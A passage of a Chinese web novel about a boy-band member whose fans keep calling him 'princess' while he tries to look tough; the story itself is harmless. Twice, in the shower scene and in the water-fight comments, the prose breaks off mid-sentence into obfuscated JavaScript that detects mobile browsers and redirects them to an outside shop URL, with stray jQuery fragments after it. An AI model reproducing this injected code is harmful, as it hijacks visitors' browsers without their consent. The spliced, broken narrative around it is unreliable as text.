《今天也在努力摆脱泥塑》 1. 天塌了 许京殊从健身房回到合宿公寓时,已经是晚上十一点。 客厅里灯火通明。 二哥陈醒松正趴在瑜伽垫上做平板支撑,背心被汗水浸透,露出线条分明的背肌。听见开门声,他头也不回:“哟,老幺回来了。怎么这么晚?” “加练了两组卧推。”许京殊把健身包放在玄关。 他走到冰箱前,拿出一瓶矿泉水,拧开瓶盖,仰头灌了大半瓶,水珠顺着下颌线滑过喉结。 可惜唯一的观众陈醒松根本没看过来。 “队长呢?”许京殊问。 “屋里写歌呢。”陈醒松终于撑起身,盘腿坐下,抓起毛巾擦汗,“老三在阳台打电话,好像是家里的事。老四洗澡去了。” 许京殊点点头,在沙发上坐下。 最近他们团小火了一下,来了好多新粉。 茶几上摊着几本杂志,最新一期封面上是他们团的五个人。 他盯着自己那张脸,照片是两个月前拍的,造型师给他做了个湿发造型,黑色皮衣配银链子,他当时特意要求摄影师拍了侧脸的角度。 看起来非常帅气。 他很满意。 他摸出手机,点开微博。 今天下午团队发了一组练习室花絮照,他特意选了张举铁的,手臂肌肉绷得紧紧的。 评论应该…… 许京殊的笑容僵在脸上。 热评第一:【殊殊宝宝这个手臂线条!妈妈哭了!怎么练得这么漂亮还这么细!】 热评第二:【公主今天举的是几公斤呀?会不会太重了手疼?】 热评第三:【这个发力表情好可爱哦,像小仓鼠囤粮!截了截了!】 许京殊的手指停在屏幕上方,微微发抖。 他深吸一口气,退出评论区,点进自己的超话。 然后他看到了那条热搜词条。 #殊殊公主用什么味儿的洗发水# 配图是前天演唱会的抓拍,他唱完高音部分累得闭眼喘气的瞬间,不知道被哪个站姐加上了粉色兔耳滤镜,整个画面笼罩在柔光里,头发毛茸茸的,甚至他额角的汗珠都被P成了星星特效。 转发三万。 点赞十万。 评论第一条:【姐妹们我查了!同款是樱花味!链接我放主页了!】 许京殊觉得自己的太阳穴在突突地跳。 他用的明明是柠檬味儿的。 “怎么了你?”陈醒松凑过来,瞥见他手机屏幕,立刻爆发出大笑,“哈哈哈这个图!谁拍的啊?绝了!” “可恶。”许京殊从牙缝里挤出两个字。 “干什么呀,多可爱啊。”陈醒松笑得东倒西歪,摸出自己的手机,“我得存一张。哎你说我要不要转发?就配文,我们忙内真可爱!” “陈醒松!”许京殊站起来,手机攥得死紧,“滚啊你,我是男生!” 陈醒松的笑声停了停。 他抬头看着许京殊,眼睛眨了眨,然后笑得更厉害了:“废话,谁说你是个女的了?但可爱和性别有关系吗?我们京殊就是可爱啊。” “我不可爱。”许京殊一字一顿,“我、是、硬、汉。” “行行行,硬汉硬汉。”陈醒松敷衍地摆摆手,继续刷手机,“硬汉兄弟,你能帮我把那边那瓶蛋白粉拿过来吗?硬汉的手长。” 许京殊站在原地,胸膛起伏。 他不搭理他转身走向自己房间,脚步很重,每一步都踩出沉闷的声响。 关门时他用了七分力,本想用十分,但想起门是去年新换的,贵。 房间里没开灯。 许京殊背靠着门板滑坐到地上,手机屏幕的光映亮他气的粉扑扑的脸。 他点开那条词条,往下翻。 【公主殿下累坏了吧呜呜,妈妈心疼】 【这个唇色绝了,天生的吗?还是涂了唇膏?求色号!】 【没人注意颈环吗!黑色颈环配这个表情!我直接嘶哈——】 【楼上姐妹穿条裤子吧!虽然我也想嘶哈。】 【只有我在想,殊殊这么累,腰伤会不会复发啊?】 许京殊的手指停在最后这条评论上。 腰伤。 他下意识摸了摸后腰。 演唱会最后那个腾空动作落地时,旧伤确实扯了一下,但他立刻调整了姿势,应该没人看出来才对。 这些粉丝眼睛怎么这么毒? 他手滑刷新了一下,全是关于自己的内容。 弹出来的瞬间,他倒抽一口凉气。 密密麻麻全是他的图,有演唱会的,有综艺截图的,有机场抓拍的。 每张图都被精心修饰过:加滤镜,加柔光,加各种可爱的贴纸和文字。 【今日养殊:公主喝水的侧脸,这个喉结我死了】 【殊殊公主今日穿搭分析:白色毛衣软乎乎,想rua。】 【姐妹们!我搞到真料了!殊殊私下用的护手霜是牛奶味!】 许京殊猛地关掉手机。 他坐在冰凉的地板上,脑子里嗡嗡作响。 从地下室练习生到空降新团被骂,从全网黑到一点点积攒人气,他以为最难的时候已经过去了。 他举铁,学格斗,微博只发帅照,说话时刻意压低声线,衣服只穿黑白灰。 为什么? 为什么现在画风是这样的? 不应该是龙傲天逆袭酷炫拽吗? 门外传来脚步声,然后是敲门声:“京殊?睡了吗?” 是队长林霄衡的声音。 许京殊慌忙站起来,打开灯:“没睡,队长。” 林霄衡推门进来,手里端着杯牛奶:“看你晚上没吃多少,喝点牛奶。” 他目光在许京殊脸上停留片刻:“不开心吗,怎么了?” “没什么。”许京殊接过牛奶,温热的触感从掌心传来。 “看到热搜词条了?”林霄衡温和地问。 许京殊沉默,有些闷闷不乐。 “粉丝表达喜欢的方式有很多种。”林霄衡拍拍他的肩,“她们没有恶意。” “但她们叫我公主。”许京殊抬起头,眼睛有点红,“队长,我明明这么帅!” “我知道。”林霄衡打断他,声音很稳,“我们都知道。但京殊,偶像这个行业,有时候粉丝看到的和我们想展示的,不一定完全一致。” “好吧。”许京殊声音发哑。 林霄衡看着他,半晌,轻轻叹了口气:“早点休息。明天早上九点有采访,别熬夜。” 门重新关上。 许京殊盯着手里的牛奶,突然想起什么,打开电脑。 他登录自己的官方粉丝群,那个他潜水很久,但几乎从不说话的群。 晚上十一点半,群里仍然热闹。 【今日话题:殊殊到底用什么牌子的洗发水?我猜是那个樱花味!】 【我觉得是水果香!他看起来就像水果味的孩子!】 【有人扒同款吗?昨晚那件衬衫好好看,领口的花边绝了】 许京殊打字:【他不是孩子,是成年人。】 发送。 群里静了几秒。 然后—— 【哇!活的管理员!】 【管理员姐姐!求内部消息!殊殊腰伤怎么样了?】 【姐姐见过真人吗?是不是比镜头里还好看?皮肤是不是特别好?】 许京殊盯着屏幕,手指悬在键盘上方。 他慢慢打字:【我是男的。】 发送。 又一阵安静。 【哈哈哈管理员姐姐真会开玩笑!】 【姐妹好幽默!不过咱们群里不兴女扮男装那套啦,都是自家人】 【管理员一定是被殊殊传染了,也想当硬汉!可爱!】 许京殊关掉了群聊窗口。 他瘫在椅子上,盯着天花板。 出道前,他每天练习十四小时,摔了无数次,腰伤就是那时候落下的。 和他同期练习的人都放弃了,只有他咬着牙坚持下来。 后来公司组建新团,原定的成员突然违约,制作人在地下室发现了他,看好他给了他名额。 他空降出道,被接生团粉骂了整整一年。 “凭什么?” “关系户吧?” “长得就一副花瓶样。” 他憋着气,拼命练习。团队里最难的动作他抢着做,高空后翻,连续侧手翻,摔了也不吭声。 二哥陈醒松有次看他练到凌晨,说:“你不要命了?” 他说:“我得证明我配得上这个出道位。” 现在他配得上了吗? 粉丝多了,舞台大了,代言来了。 可是为什么所有人都在叫他公主宝宝! 许京殊重新拿起手机,打开摄像头,对准自己。 灯光下,他的脸在屏幕里清晰无比,眉毛是修过的,但不细;眼睛确实大了点,但眼神够凶;鼻梁挺直,嘴唇…… 他抿了抿唇,试图做出冷硬的线条。 拍出来的照片却依然透着某种柔和。 “操。”他低声骂了句,把手机扔到床上。 敲门声又响了。 这次是老四周塑宁的声音,闷闷的:“许京殊,浴室我收拾完了,你去洗吧。” 许京殊拉开门。 周塑宁站在门外,头发还湿着,穿着睡衣。两人对视一眼,周塑宁先移开目光:“快点,我先睡了。” “谢谢。”许京殊说。 周塑宁嗯了一声,转身回自己房间。 走到门口时,他顿了顿,没回头:“那个热搜你别太在意。粉丝就那样。” 许京殊愣了一下。 等他反应过来,周塑宁的房门已经关上了。 洗澡的时候,许京殊盯着浴室镜子里的自己。 水汽氤氲,镜面模糊,他的轮廓柔和得不像话。他深吸一口气,绷紧全身肌肉,手臂线条显现出来。 还是不够。 和二哥陈醒松比,他的肩膀不够宽,手臂不够粗,胸肌厚度差一截。 和队长林霄衡比,他的骨架不够大,气场不够沉稳。就连看起来最瘦的老三苏凌羽,脱了衣服也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953287|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有清晰的腹肌。 而他,练了这么久,只有马甲线。 为什么? 许京殊关掉水龙头,擦干身体,套上睡衣。 回到房间,他躺在床上,却毫无睡意。 手机屏幕又亮起来,是特别关注的推送。 他点开,看到陈醒松刚发的微博,一□□身照,配文:“今日份的大膀子。” 评论里全是【哥哥杀我】【这肌肉我直接嘶哈】【老公看看我】。 许京殊盯着“老公”那两个字看了很久。 然后他切回自己微博大号,点开发布页面。 他选了今晚在健身房拍的最满意的一张,角度刁钻。 配文:“力量训练,持之以恒。” 发送。 他刷新页面,等待评论。 一秒后,第一条评论出现:【宝宝这么晚还健身!要注意休息呀!】 第二条:【这个手臂线条!妈妈哭了!怎么练得这么漂亮!】 第三条:【殊殊是不是又瘦了?多吃点!】 第四条:【只有我注意到背景里的哑铃吗?20公斤?公主好厉害!】 许京殊把手机扣在胸口。 胸口发闷。 过了一会儿。 许京殊重新拿起手机,在搜索框里输入自己的名字。 自动联想跳出来的第一个词是:“老婆”。 他盯着那两个字,手指开始发抖。 第二个词是:“公主”。 第三个词是:“可爱”。 第四个词才是:“许京殊整肃自己第一人”。 但那个词条后面跟着的数据,连第一个的十分之一都不到。 许京殊叹了口气,退出搜索, 这时,手机震了一下。 许京殊拿起来看,是队长林霄衡发来的消息:【别刷微博了,睡觉。】 队长肯定是看到自己发的wb了。 他回复:【嗯。】 林霄衡又发来一条:【明天采访,有个环节是个人技展示。你可以展示格斗。】 许京殊眼睛亮了一下:【真的?】 林霄衡:【我跟导演组争取的。好好表现。】 许京殊握着手机,胸口那股闷气散了些。 至少队长懂他。 至少团队里有人知道他想成为什么样的人。 他回到床上,关掉灯,闭上眼睛。 入睡前最后一个念头是:明天,我一定要让他们看到,许京殊到底是什么样的人。 夜深了。 合宿公寓彻底安静下来。 许京殊不知道的是,在他房间门外,林霄衡站了一会儿,听着里面没动静了,才轻轻走 陈醒松还瘫在沙发上刷手机,见他出来,压低声音:“睡了?” “嗯。” “你说他到底在纠结什么?”陈醒松把手机屏幕转向林霄衡,“粉丝叫他公主,是因为喜欢他啊。这有什么不好?” 林霄衡在沙发上坐下,揉了揉眉心:“他想被认可的是实力,不是脸。” “他实力不差啊。”陈醒松说,“舞跳得好,歌唱得稳,高音也能上。就是……” “就是什么?” “就是那张脸太有欺骗性了。”陈醒松笑了,“你说他怎么长的?五官拆开看都挺英气,组合在一起就……啧,漂亮。” 林霄衡没说话。 阳台门拉开,老三苏凌羽走进来。 “家里没事吧?”林霄衡问。 “没事。”苏凌羽摇头,看向许京殊的房间,“他怎么样?” “受了点打击。”林霄衡说,“明天采访让他展示格斗,你们配合一下。” “行。”苏凌羽点头,“不过队长,你有没有想过,京殊泥塑粉太多了,他可能摆脱不了这个标签。” 客厅里沉默了几秒。 陈醒松打了个哈欠:“我反正觉得他现在这样挺好。又努力又可爱,多招人喜欢啊。” “但他自己不觉得。”林霄衡轻声说。 三人又沉默了一会儿。 周塑宁的房门突然开了条缝,他探出头:“你们吵到我睡觉了。” “这就睡。”林霄衡站起来,“都去休息吧。明天还有工作。” 灯一盏盏熄灭。 公寓沉入真正的安静。 许京殊的房间里,他翻了个身,在睡梦中皱紧眉头。 手机还握在手里,屏幕因为新消息亮了一下——是某个粉丝站子的更新推送: 【@许京殊今天穿小裙子了吗:深夜发殊!扒到殊殊同款睡衣!链接在此!姐妹们冲呀!】 配图是他半年前在机场被拍到的一张糊图,白色卫衣,帽子扣在头上,只露出小半张脸。 评论里的第一条是:【好像小兔子哦!想抱!】 夜还很长。 他在梦里举起最重的哑铃,台下响起的不再是“宝宝好棒”,而是: “许京殊!牛逼!” “哥哥,好帅!” “老公!” 在梦里,他笑得很开心。 2. 反作用 早晨七点,闹钟还没响,许京殊就睁开了眼睛。 他躺在床上,盯着天花板看了三秒,然后猛地坐起身。今天是采访日,是林霄衡为他争取到展示格斗机会的日子。 他下床洗漱,开始思考今天的穿搭。 洗漱完毕,许京殊打开衣柜。里面清一色的黑白灰。 他犹豫片刻,伸手拿出一件黑色工装背心,能露出手臂肌肉线条。 下面配了条军绿色工装裤,裤腿塞进马丁靴里。 穿戴整齐,他在全身镜前转身看了看。 肩膀不够宽,手臂肌肉在放松状态下还不够明显。 他做了几个动作,让姿态更加挺拔。 “还行吧。”他对自己说。 走出房间时,客厅已经有人了。 老三苏凌羽坐在餐桌前喝咖啡,面前摊着乐谱。 听见动静,他抬起头,目光在许京殊身上停留了一瞬,然后笑了:“今天这身很精神。” “采访要展示格斗。”许京殊走到厨房,从冰箱里拿出五个鸡蛋,开始做早餐。 “听队长说了。” 苏凌羽合上乐谱:“需要帮忙对招吗?我以前学过一点防身术。” “不用。”许京殊把鸡蛋打进平底锅,“我已经准备好了。” 自信心满满。 苏凌羽点点头,没再说话,只是低头继续看乐谱。 但许京殊能感觉到,他的目光偶尔会落在他身上。 鸡蛋煎到一半,陈醒松打着哈欠从房间出来了。 “早——”他的哈欠打到一半停住,眼睛在许京殊身上扫了一圈,然后噗嗤笑出声,“哈?我的天,许京殊,你这身衣服是要去参加特种兵选拔吗?” 许京殊翻鸡蛋的动作顿了一下,有些炸毛:“我这是这是正常穿搭!” “正常?”陈醒松走到他身边,伸手捏了捏他的手臂,“背心是不是买大了?这肩线都掉下来了。” “这是宽松款。”许京殊躲开他的手,翻了个白眼。 “宽松款。”陈醒松重复了一遍,笑得肩膀直抖,“行,你说什么就是什么。不过我提醒你一句,今天室外采访,气温三十二度。你这身确定吗?” 许京殊这才想起看天气预报。 他沉默了两秒,把煎好的鸡蛋盛进盘子:“我不怕热。” “硬汉嘛,当然不怕热。”陈醒松从冰箱里拿出冰水,灌了一大口,“对了,你那格斗展示练得怎么样?别到时候把主持人摔了,那可就是社会新闻了。” “我有分寸。”许京殊说。 他当然有分寸。 基本功在这呢,他不但要做到标准而且要有观赏性,这需要极强的控制力。 他要让所有人看到,许京殊不是只会跳舞唱歌。 餐桌旁陆续坐满了人。 队长林霄衡今天穿了简单的白T恤和牛仔裤,坐下时看了眼许京殊:“吃这么少?” 许京殊盘子里只有两个煎蛋和几片生菜:“够了。” “采访要录到下午,中间不一定有时间吃饭。”林霄衡把自己盘子里的鸡胸肉分了一半给他,“多吃点。” 许京殊想拒绝,但对上林霄衡的眼睛,还是默默接了过来,嘴里嘟囔着:“这鸡胸肉太难吃了。” 老四周塑宁最后一个坐下。 他扫了一眼餐桌,目光在许京殊身上停了停,然后移开,什么也没说。 “小宁。”苏凌羽把牛奶推过去,“昨天晚上又熬夜了吧,起这么晚。” “知道了。”周塑宁声音闷闷的,偷偷看了一眼许京殊。 他老是刷到他,明明自己不是很喜欢最后入团的许京殊,但是不知道为什么一刷就停不下来了。 搞得他睡眠出了问题,一闭眼满脑子都是许京殊穿公主裙的样子。 早餐在一种微妙的安静中进行。 许京殊能感觉到,大家都知道他想证明什么。但没人说破,只是用各自的方式表达支持。 只有周塑宁,一直低着头吃饭,没说话。 八点半,团队坐上前往采访地点的车。 车上,经纪人梁姐坐在前排,回头交代注意事项:“今天的采访是户外特别篇,主题是夏日挑战。除了常规问答,每个成员都有个人挑战环节。京殊,你的部分是格斗基础展示,和主持人互动,注意安全,也注意效果。” “明白。”许京殊点头。 “其他人都知道怎么配合吧?”李姐看向另外四人。 林霄衡点头:“放心。” 陈醒松比了个OK的手势:“我负责在旁边喊许京殊好帅~” “对吧?” “你正常点就行。”梁姐无奈。 车窗外景色流动,许京殊看着玻璃上自己隐隐约约的倒影,下定决心。 今天一定要成功,只许成功不许失败! 采访地点在市郊的一个户外营地。 节目组搭了简易舞台,背景是树林和蓝天,看起来确实很夏日。 他们到的时候,主持人已经在做准备了。 是个年轻女主持,叫小敏,以活泼亲切的风格出名。 看见五人下车,她笑着迎上来:“哇,今天都好帅!特别是京殊,这身好酷!” 许京殊微微颔首:“谢谢。” “听说你今天要展示格斗?”小敏眼睛发亮,“好期待!我小时候学过防身术,不过早就忘光了。” “是的,大家多多关心我的表演吧。”许京殊眨了眨眼,有些神秘。 寒暄过后,采访正式开始。 前半段是团体环节,五个人坐在露营椅上,回答关于新专辑和巡演计划的问题。 许京殊尽量让自己坐得挺拔,手臂放在椅子扶手上,让肌肉线条显出来。 但很快他就发现,镜头似乎特别偏爱他。 每当其他成员说话时,导播总会切一个他的反应镜头。 他认真倾听的表情,他点头的样子,他偶尔微笑的瞬间。 而他不知道,每次镜头切到他,弹幕里就会变多。 【殊殊好乖】 【宝宝坐得好端正】 【这个侧脸我awsl!】 许京殊专注在采访上。 “那么下一个问题。”小敏翻着手卡,“粉丝们都很好奇,团队里谁是最注重形象管理的?” 陈醒松立刻举手:“我我我!我每天健身两小时,雷打不动!” “才不是。”苏凌羽笑着拆台,“你上周偷吃了三块蛋糕,被梁姐抓到了。” “那是意外!”陈醒松反驳。 大家都笑起来。 小敏看向许京殊:“京殊呢?看你今天这一身,应该也很注重吧?” 机会来了。 许京殊调整坐姿,想让背心下的手臂肌肉更明显:“我觉得形象管理不只是外表,更是一种生活态度。我每天坚持健身,学格斗,不是为了看起来怎么样,而是为了培养自律和坚韧的精神。” 他说得很认真,语气沉稳。 但是一本正经的样子,更萌了。 小敏被击中了,点点头,开始夹带私货:“说得很好。那你平时会护肤吗?粉丝都说你皮肤特别好。” 弹幕瞬间爆炸。 【来了来了!】 【主持人上道!】 【护肤问题!公主的保养秘诀!】 许京殊卡壳了。 他准备好的台词是关于格斗精神,关于力量美,不是关于护肤。 “我……”他顿了顿,“就正常洗脸。” “用什么洗面奶?”小敏追问,眼睛亮晶晶的。 许京殊沉默了。 他真的不知道。洗面奶是别人买的,他只用。 “梁姐买的。”最后他说。 陈醒松在旁边噗嗤笑出声:“他连牌子都不认识,给他什么用什么。” 弹幕。 【笨蛋美人实锤了!】 【连洗面奶都不认识也太可爱了吧。】 【我就知道我们家殊宝天生丽质。】 【梁姐:这儿子白养了!】 许京殊耳根发热,他知道自己搞砸了。 幸好小敏很快转向下一个问题。 但许京殊能感觉到,刚才那段对话已经被截下来,很快就会在各大粉丝站传播。 团体环节终于结束,进入个人挑战部分。 周塑宁的挑战是快速搭建帐篷,苏凌羽是野外辨向,陈醒松是负重接力,林霄衡是生火技能。 每个环节都有笑点,气氛很轻松。 然后轮到许京殊。 “接下来是京殊的格斗基础展示!”小敏站在场地中央,手里拿着护具,“我需要先戴好这些吗?” “不用。”许京殊走上场,活动着手腕,“我只展示基础动作,不会有危险接触。” 机会又来了! 许京殊说这话时刻意压低声音,让声线听起来更沉稳。 工作人员清空场地,镜头对准中央。 许京殊深吸一口气。 他练过无数遍的动作在脑海里过了一遍。 扫腿、格挡、反制。 要快,要准,要有力量感。 音乐响起,是他自己选的,带鼓点的硬核电子乐。 侧步上前,右手直拳虚击,接左勾拳。动作干净利落,拳风带起背心下摆。 他能听到场边工作人员的低声赞叹。 接下来模拟被从后方抱住,用肘击挣脱,转身扫腿。他扫腿的高度和速度都控制得很好,马丁靴划过空气发出声响。 然后是连续组合拳,接低段踢。这是他最擅长的部分,肌肉记忆让每个动作都十分标准。 最后收势,站稳,呼吸平稳,眼神锐利地看向镜头。 他完成了。 没有失误,没有犹豫。 现场安静了一瞬,然后响起掌声。 小敏第一个跑过来:“太帅了!京殊你真的练过啊!” 许京殊平复呼吸,点头:“当然啦。” “那你能教我两个防身动作吗?”小敏眼睛发亮,“就最简单的,万一遇到危险能用上的。” “可以。”许京殊说。 他走到小敏面前,保持礼貌距离:“最常见的情况是从正面被抓住手腕。这时候不要硬扯。” 他示意小敏抓住他的手腕。 小敏照做。 “这样。”许京殊手腕一转,用小臂力量反向施压,“利用杠杆原理,对方会吃痛松手。然后迅速拉开距离。” 他做得很慢,让小敏能看清楚。 “哇,真的!”小敏试着模仿,“是这样吗?” “手腕角度再低一点。”许京殊下意识伸手,调整她的动作。 他的手碰到小敏手腕的瞬间,弹幕疯了。 【啊啊啊手!】 【殊殊的手好好看!】 【两个小猫有样学样的真的好可爱啊。】 【这个教学姿势,我没了。】 许京殊毫无察觉,还在认真讲解:“挣脱后可以补一个膝击,但非必要情况下不建议使用暴力,逃跑是第一选择。” “明白了!”小敏学得很快,“那第二个动作呢?” “第二个是如果从后方被抱住。”许京殊转身,背对小敏,“你可以这样,用手肘向后击打肋部位置,同时踩对方脚背。” 他话没说完。 因为就在他示范后肘击动作时,背心领口因为动作幅度过大,往下滑了一截。 其实只滑了一点,锁骨露出来而已。 但导播切了特写。 高清镜头下,那截锁骨线条清晰,皮肤在阳光下白得晃眼。因为刚运动完,还泛着薄红。 弹幕在那一刻出现了短暂的空白。 然后—— 【!!!!!!】 【这个锁骨我死了啊啊啊啊啊】 【公主的锁骨!!!】 【截图了截图了截图了】 【这皮肤是真实的吗??】 【明明在教格斗为什么这么涩啊!!!】 许京殊完全不知道发生了什么。 他认真教完两个动作,最后对镜头说:“希望大家都能学会基础防身,但更希望所有人都不会用到。” 掌声再次响起。 个人挑战环节结束,采访进入最后的游戏环节。是团队合作的水球大战,纯粹为了娱乐效果。 许京殊换上节目组准备的备用T恤。黑色的,但尺码似乎小了一号,有点贴身。 水球大战开始。 混乱中,许京殊被陈醒松从后面偷袭,一个水球砸在背上。 他转身反击,两人在场地里追打。水花四溅,T恤很快湿透,贴在身上。 他玩得投入,没注意到湿透的布料勾勒出的腰线,也没注意到自己笑得比平时放肆时露出的虎牙。 更没注意到,导播的镜头一直跟着他。 弹幕已经无法直视。 【湿身公主……我没了……】 【这个腰……这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953288|193093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个腰是真实存在的吗?】 【他居然有虎牙!为什么以前没发现!】 【笑得好好看啊呜呜呜】 【明明在打水仗为什么像是在拍偶像剧】 【截了无数张图,每一帧都是神图】 游戏结束,五人浑身湿透,对着镜头说结束语。 许京殊站在最边上,头发滴水,T恤紧贴,笑得很开心。 因为今天的格斗展示很成功,肯定好多人看到他帅气的样子。 至少他自己这么认为。 采访结束,回程车上,许京殊心情很好。 “今天发挥不错。”林霄衡坐在他旁边,递过来毛巾。 “嗯。”许京殊擦着头发,“格斗部分应该有效果。” 前排的陈醒松回过头,表情古怪:“效果是挺大的。” “是吧?”许京殊没听出弦外之音,得意洋洋,“我觉得动作都到位了。” 苏凌羽从副驾驶座回头看了他一眼,欲言又止,最后还是转回去了。 周塑宁坐在最后一排,戴着耳机,一直看着窗外。 回到公寓,许京殊第一时间打开手机,想看看今天采访的反响。 他先搜“许京殊 格斗”。 确实有相关话题,但热度不高。他点开一条营销号微博: 【@娱乐快讯:许京殊采访展示格斗基础,动作标准有力!没想到漂亮弟弟还有这一面!】 配图是他扫腿的瞬间,动作确实漂亮。 但评论区的画风: 【动作好标准!公主好棒!】 【这个腿踢得又高又直,舞蹈功底果然厉害】 【虽然但是,湿身那张更绝……】 【楼上姐妹,私信了,求图】 【格斗什么的先放放,有人截到锁骨特写吗?】 许京殊皱眉,退出,搜“许京殊 采访”。 这次跳出来的第一条,就是某大粉丝站的微博: 【@许京殊全站守护:今日采访高光时刻合集!格斗教学的殊殊好认真,湿身游戏的殊殊好可爱,最后笑着说话的殊殊好温柔!九宫格奉上,姐妹们收图!】 九张图,三张是格斗教学,两张是水球大战,四张是各种特写。 其中就包括那个锁骨特写,还有湿身T恤贴在腰上的侧影。 转发已经破万。 热转第一:【谢谢站姐!今日份的公主殿下也完美营业了!】 许京殊盯着手机屏幕,很久没说话。 他站起身,走到浴室,打开灯,站在镜子前。 他扯了扯T恤领口,看着镜子里露出的锁骨。 就几根骨头,有什么好看的? 他又侧身,看了看自己的腰。 马甲线有,但腹肌轮廓不明显。 就这?值得四万转发? 他不理解。 真的不理解。 门外传来敲门声,是陈醒松:“许京殊,梁姐电话,找你。” 许京殊整理好衣服,走出浴室。 陈烈把手机递给他,表情还是有点古怪:“梁姐说让你看看微博,但别太在意。” 许京殊接过手机:“喂,梁姐。” “京殊啊。”梁姐的声音从听筒里传来,“今天采访表现很好,格斗部分特别出彩。就是……嗯,以后服装方面,我们可能需要更注意一点。” “服装?”许京殊皱眉,“我今天穿得不对吗?” “不是不对,是……”梁姐顿了顿,“总之以后背心尽量选领口高一点的,T恤选尺码合身的。另外,水球大战这种环节,我们之后会尽量避免。” “为什么?”许京殊不明白,“水球大战效果不是很好吗?粉丝都说好玩。” 电话那头沉默了几秒。 “是好玩。”梁姐最后说,“但有些效果可能太好了。总之你听安排就行。对了,下周有个运动品牌的活动邀请,我觉得很适合你,已经接了。你准备一下。” 挂了电话,许京殊把手机还给陈醒松。 “李姐说什么?”陈醒松问。 “说以后要注意服装。”许京殊眉头紧锁,“我今天的服装有问题?” 陈醒松看着他,张了张嘴,最后还是拍了拍他的肩:“没问题,特别硬汉。就是下次穿高领的吧。” “高领?”许京殊更困惑了,“夏天穿高领?” “那不然……”陈醒松抓了抓头发,“算了,你自己慢慢悟吧。我去洗澡了。” 陈醒松走了,许京殊站在原地想了半天,也没想明白。 他回到房间,继续用微博小号探索。 在搜索框输入“许京殊 锁骨”。 页面刷新,跳出来几千条结果。 有今天的采访截图,有以前舞台的抓拍,甚至还有几年前刚出道时的照片,那时候他还不会管理表情,笑得露出虎牙,锁骨在舞台灯光下白得发光。 热评第一条是:【这是可以免费看的吗?】 第二条:【公主的锁骨比我的人生规划还清晰。】 第三条:【建议品牌方找殊殊拍锁骨链广告,绝对卖爆!】 许京殊关掉页面。 他又搜“许京殊 湿身”。 这次的结果更夸张。 不仅有今天的图,还有去年演唱会淋雨表演的图,前年综艺落水的图,甚至有一次他喝矿泉水不小心洒在脖子上的动图都被做成了合集。 转发量最高的那条微博配文:【水资源珍贵,但殊殊的湿发不珍贵吗?多来点!】 许京殊靠在椅背上,长长地叹了口气。 他今天特意穿了黑色背心,展示了苦练的格斗,认真教学防身动作。 结果所有人都在讨论他的锁骨和湿身。 这世界到底怎么了? 敲门声又响了,这次是苏凌羽。 “京殊。”三哥站在门口,手里端着杯蜂蜜水,“喝点水,今天说话多,嗓子要保护。” “谢谢三哥。”许京殊接过杯子。 苏凌羽没马上走,而是看着他,轻声说:“今天格斗部分,真的很帅。” 许京殊眼睛亮了一下:“真的?” “嗯。”苏凌羽点头,“动作标准,教学也清晰。我看了都想学。” 这是今天第一个明确夸他格斗的人。 许京殊心里那点郁闷散了些:“其实不难,你想学我可以教你。” “好。”苏凌羽笑了,“那说定了。今天早点休息,明天还有练习。” “嗯。” 3. 仰卧起坐 苏凌羽离开后,许京殊重新打开手机。 他看着屏幕上那些粉丝爱的言论,看了很久,然后打开备忘录。 标题:“正名计划”。 他开始打字: 1. 服装问题:不要露肤度高的和五颜六色的。 2. 形象管理:减少笑容,特别是露虎牙的笑。表情要更冷峻。 3.适当引导:多多展示帅气一面,日常穿搭要酷炫拽。 他写得很认真,一条条列下来,像个真正的作战计划。 直到写到脑袋里没有内容,他停住了。 最下方,他最后加了一句: “不要被外界干扰。坚持自己的路。” 打完这句话,他保存,关掉手机。 夜深了。 许京殊躺在床上,却睡不着。 他打开手机,点开今天采访的完整回放。 快进到自己格斗展示的部分。 屏幕上,他动作利落,眼神专注,每一个发力都恰到好处。那段表演,单独看,确实很不错。 然后镜头切到锁骨特写。 许京殊按了暂停。 他看着那张定格的画面,自己因为动作而微张的唇,汗湿的额发,还有那截暴露在镜头下的锁骨。 确实……挺明显的。 他放下手机,闭上眼睛。 脑子里回响着今天看到到的各种话: “公主好帅!” “这个锁骨我死了!” “湿身殊殊!” “可爱!” 混乱的声音交织在一起,最后变成一个清晰的念头: 他要成为的是有实力的硬汉,是能被叫老公叫哥哥的,不是粉丝口里的宝宝公主! 第二天早上,许京殊起得很早。 他换上运动服,准备去晨跑。出门前,他特意选了件领口小的T恤。 客厅里,周塑宁已经在了,正在绑鞋带。 “晨跑?”许京殊问。 “嗯。”周塑宁没抬头。 “一起?” 周塑宁动作顿了一下,然后点点头。 两人沉默地出门,沉默地热身,然后沿着公寓附近的公园步道开跑。 清晨的空气很好,公园里人不多。 许京殊保持匀速,呼吸平稳。他能听到旁边周塑宁的脚步声,节奏和他一致。 跑了二十分钟,周塑宁突然开口:“昨天你做的不错。” 许京殊侧头看他。 周塑宁目视前方,耳朵有点红:“就是,教学的时候,可以再多讲点原理。女生学防身,懂原理比记动作更重要。” 许京殊愣了愣,微微思考:“是这样的。” 周塑宁顿了顿:“我姐学过防身术,教练就是这么说的。” “你姐?” “嗯。她一个人住,爸妈不放心,让她去学的。”周塑宁的声音很轻,“她说最大的收获不是学会几个动作,是知道怎么观察环境,怎么提前预防。” 许京殊放慢脚步:“你说得对。我下次有机会的话,会加上这些。” 周塑宁点点头,没再说话。 两人又跑了一段,在自动贩卖机前停下买水。 